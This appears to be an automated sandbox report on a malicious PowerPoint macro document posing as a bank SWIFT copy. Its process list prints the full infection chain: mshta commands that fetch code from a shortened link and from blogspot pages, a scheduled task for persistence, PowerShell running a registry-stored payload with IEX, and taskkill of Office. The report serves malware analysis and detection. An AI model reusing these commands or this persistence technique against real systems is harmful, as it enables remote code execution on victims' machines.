Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function kVazolfxuRnLRNadrMO, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function piRACQzERc, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function piRACQzERc, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function piRACQzERc, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function piRACQzERc, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function decrypt, String yqPfQprLotGR
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function decrypt, String yqPfQprLotGR
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function decrypt, String yqPfQprLotGR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_003FB2EE NtQuerySystemInformation,	12_2_003FB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_003FB2CC NtQuerySystemInformation,	12_2_003FB2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01D9B2EE NtQuerySystemInformation,	24_2_01D9B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01D9B2CC NtQuerySystemInformation,	24_2_01D9B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CEB2EE NtQuerySystemInformation,	33_2_01CEB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CEB2CC NtQuerySystemInformation,	33_2_01CEB2CC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A518A8	12_2_02A518A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A574B7	12_2_02A574B7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A51897	12_2_02A51897
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A574C8	12_2_02A574C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A5618D	12_2_02A5618D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A51538	12_2_02A51538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_02A51548	12_2_02A51548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_02871897	24_2_02871897
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_028718A8	24_2_028718A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_028774B7	24_2_028774B7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_028774C8	24_2_028774C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_02871538	24_2_02871538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_02871548	24_2_02871548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 29_2_001E6020	29_2_001E6020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 29_2_001E5408	29_2_001E5408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 29_2_001E5750	29_2_001E5750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A018A8	33_2_02A018A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A074B7	33_2_02A074B7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A01897	33_2_02A01897
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A074C8	33_2_02A074C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A0618D	33_2_02A0618D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A01538	33_2_02A01538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02A01548	33_2_02A01548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_02AE1BE2	33_2_02AE1BE2

Source: BankSwiftCopyUSD95000.ppt	OLE, VBA macro line: Sub Auto_Close()
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function Auto_Close			Name: Auto_Close

Source: BankSwiftCopyUSD95000.ppt

OLE indicator, VBA macros: true

Source: BankSwiftCopyUSD95000.ppt

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 29.2.MSBuild.exe.400000.2.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 29.2.MSBuild.exe.400000.2.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winPPT@46/51@29/5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_003FACEE AdjustTokenPrivileges,	12_2_003FACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_003FACB7 AdjustTokenPrivileges,	12_2_003FACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01D9ACEE AdjustTokenPrivileges,	24_2_01D9ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01D9ACB7 AdjustTokenPrivileges,	24_2_01D9ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CEACEE AdjustTokenPrivileges,	33_2_01CEACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CEACB7 AdjustTokenPrivileges,	33_2_01CEACB7

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BankSwiftCopyUSD95000.LNK

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC735.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................x.x...............x...............x.......x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................x.x.............................X.'.......x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................x.x...............x.......................x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................6.......................x.x.............................X.'.......x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................?.......................x.x...............x.......................x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................S.......................x.x.....#.......................X.'.......x.....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................\.......................x.x.....#.........x.......................x.....	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Console Write: .................................................v-.............................................................................................	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Console Write: ................................................d1......................L...............d...............................X.......B.........3.....
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................l.......T.......................................................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................h.......v.......................................................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................h...............................................................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................h...............................................................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................h...............................................................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................d.......................................#.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................d.......................................#.......................................
Source: C:\Windows\System32\taskkill.exe	Console Write: ................................................d1......................................b...............................T.......B.........'.....
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................P.z.......................%.....P.z.......%....... .....`I"........v.....................K).......Y.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....................................}..v....8.p.....0...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j..... ..............................}..v......p.....0.................Y.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....................................}..v......p.....0...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....x.Y.............................}..v....0.p.....0.................Y.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#..................j....................................}..v....0.q.....0...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#..................j....(.Y.............................}..v......q.....0.................Y.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............`.......\|.......G.......................................X...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............`.......\|.......h.......................................................X...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............`.......\|.......q.......................................X...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............`.......\|...............................................................X...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............`.......................................................X...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............`...............................................#.......................X...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............`...............................................#.......X...............................

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Windows\System32\PING.EXE	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "winword.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "EXCEL.exe")
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: BankSwiftCopyUSD95000.ppt	Virustotal: Detection: 34%
Source: BankSwiftCopyUSD95000.ppt	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' /AUTOMATION -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'
Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'
Source: unknown	Process created: C:\Windows\System32\PING.EXE ping.exe
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv
Source: unknown	Process created: C:\Windows\System32\PING.EXE ping.exe
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Source: unknown	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {2ABF5983-E6CF-46DC-B95A-53E1F6F4D156} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: unknown	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://randikhanaekminar.blogspot.com/p/st2.html'', 0 : window.close')
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://randikhanaekminar.blogspot.com/p/st2.html
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''powershell ((gp HKCU:\Software).meather)\|IEX'', 0 : window.close')
Source: unknown	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im winword.exe
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Source: unknown	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im EXCEL.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' ((gp HKCU:\Software).meather)\|IEX
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://backbones1234511a.blogspot.com/p/stback1.html'', 0 : window.close')
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://backbones1234511a.blogspot.com/p/stback1.html
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://startthepartyup.blogspot.com/p/backbone14.html'', 0 : window.close')
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://startthepartyup.blogspot.com/p/backbone14.html
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://ghostbackbone123.blogspot.com/p/ghostbackup13.html'', 0 : window.close')
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://ghostbackbone123.blogspot.com/p/ghostbackup13.html
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process created: C:\Windows\System32\PING.EXE ping.exe	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process created: C:\Windows\System32\mshta.exe mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process created: C:\Windows\System32\PING.EXE ping.exe	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://randikhanaekminar.blogspot.com/p/st2.html'', 0 : window.close')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://randikhanaekminar.blogspot.com/p/st2.html	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im winword.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im EXCEL.exe
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' ((gp HKCU:\Software).meather)\|IEX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://backbones1234511a.blogspot.com/p/stback1.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://startthepartyup.blogspot.com/p/backbone14.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://ghostbackbone123.blogspot.com/p/ghostbackup13.html

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: Managament.inf.pdb source: powershell.exe, 0000000C.00000002.2287134514.0000000006951000.00000004.00000001.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 0000000C.00000002.2254678756.0000000002B60000.00000002.00000001.sdmp

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary bytes = 0

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary hiddenslides = 0

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary mmclips = 0

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary notes = 0

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary presentationtarget = Widescreen

Source: BankSwiftCopyUSD95000.ppt

Initial sample: OLE document summary slides = 0

Data Obfuscation:

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Show sources

Source: BankSwiftCopyUSD95000.ppt	Stream path 'VBA/Module1' : High number of GOTO operations
Source: VBA code instrumentation	OLE, VBA macro, High number of GOTO operations: Module Module1			Name: Module1

Document contains an embedded VBA with many randomly named variables

Show sources

Source: BankSwiftCopyUSD95000.ppt

Stream path 'VBA/Module1' : High entropy of concatenated variable names

Yara detected Costura Assembly Loader

Show sources

Source: Yara match

